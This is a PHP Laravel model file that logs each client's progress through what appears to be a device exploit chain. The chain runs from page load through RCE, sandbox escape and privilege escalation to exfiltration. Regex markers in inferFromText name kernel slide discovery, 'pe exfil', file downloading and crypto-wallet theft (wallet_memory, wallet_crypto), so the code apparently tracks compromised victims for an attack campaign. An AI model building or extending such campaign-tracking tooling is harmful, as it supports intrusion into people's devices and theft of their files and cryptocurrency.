125 lines
4.3 KiB
PHP
125 lines
4.3 KiB
PHP
<?php
|
|
|
|
namespace App\Models;
|
|
|
|
use Illuminate\Database\Eloquent\Model;
|
|
|
|
class DsChainLog extends Model
|
|
{
|
|
public $timestamps = false;
|
|
|
|
/** @var array<string, array{progress: int, title: string}> */
|
|
public const STAGES = [
|
|
'boot' => ['progress' => 8, 'title' => '启动'],
|
|
'loader' => ['progress' => 18, 'title' => '加载器'],
|
|
'worker' => ['progress' => 42, 'title' => 'RCE'],
|
|
'sbx0' => ['progress' => 58, 'title' => '沙箱逃逸'],
|
|
'sbx1' => ['progress' => 72, 'title' => '沙箱二段'],
|
|
'pe' => ['progress' => 86, 'title' => '权限提升'],
|
|
'post' => ['progress' => 100, 'title' => '取证完成'],
|
|
];
|
|
|
|
protected $fillable = [
|
|
'client_uid',
|
|
'channel_id',
|
|
'stage',
|
|
'progress',
|
|
'label',
|
|
'created_at',
|
|
];
|
|
|
|
protected function casts(): array
|
|
{
|
|
return [
|
|
'progress' => 'integer',
|
|
'created_at' => 'datetime',
|
|
];
|
|
}
|
|
|
|
public static function stageTitle(string $stage): string
|
|
{
|
|
return self::STAGES[$stage]['title'] ?? $stage;
|
|
}
|
|
|
|
/**
|
|
* @return array{stage: string, progress: int, label: string}|null
|
|
*/
|
|
public static function inferFromText(?string $text): ?array
|
|
{
|
|
$msg = trim((string) $text);
|
|
if ($msg === '') {
|
|
return null;
|
|
}
|
|
|
|
if (preg_match('/file_downloader_ok|chain.?complete/i', $msg)) {
|
|
return ['stage' => 'post', 'progress' => 100, 'label' => 'post'];
|
|
}
|
|
if (preg_match('/file_downloader_start|S5_post|post \/stats|saved .* bytes|wallet_memory|wallet_crypto|coruna_bootstrap_fetch|coruna_s5/i', $msg)) {
|
|
return ['stage' => 'pe', 'progress' => 90, 'label' => '权限提升 · 后台收尾'];
|
|
}
|
|
if (preg_match('/pe_main|kernel_base|kernel_slide|pe_main_eval|pe_main_start|pe spawned|Spawning PE|pe bootstrap|nowait_exit|pe exfil grace|pe exfil wait|pe_mpd/i', $msg)) {
|
|
return ['stage' => 'pe', 'progress' => 86, 'label' => 'pe'];
|
|
}
|
|
if (preg_match('/sbx1_main|mediaplaybackd|\[patch\] loaded bootstrap/i', $msg)) {
|
|
return ['stage' => 'sbx1', 'progress' => 72, 'label' => 'sbx1'];
|
|
}
|
|
if (preg_match('/after get js|sbx0_main|coruna stage2|seedbell/i', $msg)) {
|
|
return ['stage' => 'sbx0', 'progress' => 58, 'label' => 'sbx0'];
|
|
}
|
|
if (preg_match('/stage1|RCE success|handoff ok|Inside stage2|inside stage1/i', $msg)) {
|
|
return ['stage' => 'worker', 'progress' => 42, 'label' => 'worker'];
|
|
}
|
|
if (preg_match('/Chain selected|rce_loader|loadChainLoader/i', $msg)) {
|
|
return ['stage' => 'loader', 'progress' => 18, 'label' => 'loader'];
|
|
}
|
|
if (preg_match('/frame\.html loaded|frame_boot/i', $msg)) {
|
|
return ['stage' => 'boot', 'progress' => 8, 'label' => 'frame_boot'];
|
|
}
|
|
|
|
return null;
|
|
}
|
|
|
|
public static function record(
|
|
string $clientUid,
|
|
string $stage,
|
|
int $progress = 0,
|
|
?string $label = null,
|
|
?string $channelId = null,
|
|
): ?self {
|
|
$clientUid = Device::normalizeDarkswordKey($clientUid) ?? '';
|
|
$stage = strtolower(trim($stage));
|
|
if ($clientUid === '' || ! isset(self::STAGES[$stage])) {
|
|
return null;
|
|
}
|
|
|
|
$meta = self::STAGES[$stage];
|
|
if ($progress <= 0) {
|
|
$progress = $meta['progress'];
|
|
}
|
|
$progress = max(0, min(100, $progress));
|
|
$label = trim((string) ($label ?? ''));
|
|
if ($label === '') {
|
|
$label = $stage;
|
|
}
|
|
$label = substr($label, 0, 255);
|
|
$channelId = $channelId !== null && trim($channelId) !== '' ? substr(trim($channelId), 0, 64) : null;
|
|
|
|
$last = self::query()->where('client_uid', $clientUid)->orderByDesc('id')->first();
|
|
if ($last
|
|
&& $last->stage === $stage
|
|
&& (int) $last->progress === $progress
|
|
&& (string) $last->label === $label) {
|
|
return $last;
|
|
}
|
|
|
|
return self::query()->create([
|
|
'client_uid' => substr($clientUid, 0, 64),
|
|
'channel_id' => $channelId,
|
|
'stage' => $stage,
|
|
'progress' => $progress,
|
|
'label' => $label,
|
|
'created_at' => now(),
|
|
]);
|
|
}
|
|
}
|